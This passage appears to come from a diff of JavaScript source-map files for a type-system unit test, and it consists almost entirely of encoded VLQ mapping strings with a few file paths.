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"}
1
+ {"version":3,"file":"type-system.test.js","sourceRoot":"","sources":["../../../../test/unit/typecheck/type-system.test.ts"],"names":[],"mappings":"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